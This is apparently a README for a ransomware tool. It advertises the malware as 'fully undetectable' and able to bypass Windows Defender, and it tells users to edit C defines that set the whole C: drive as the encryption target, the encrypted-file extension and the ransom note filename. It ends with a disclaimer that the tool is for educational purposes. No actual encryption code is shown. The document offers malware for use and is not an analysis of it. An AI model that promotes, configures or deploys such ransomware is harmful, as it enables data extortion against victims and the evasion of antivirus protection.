This ransomware uses a very simple encrypting method. It's totally FUD (Fully Undetectable), it bypass windows deffender.
Edit this strings to what you actually want:
// Where to encrypt
#define DESTINATION_DIR "C:\\"
// Extension name
#define ENCRYPTED_FILE_NAME ".enc"
// Readme file
#define CONF_FILE_NAME "readme_encrypted_files.txt"
I am not responsable for any bad use of the software, all is for educational pruposes.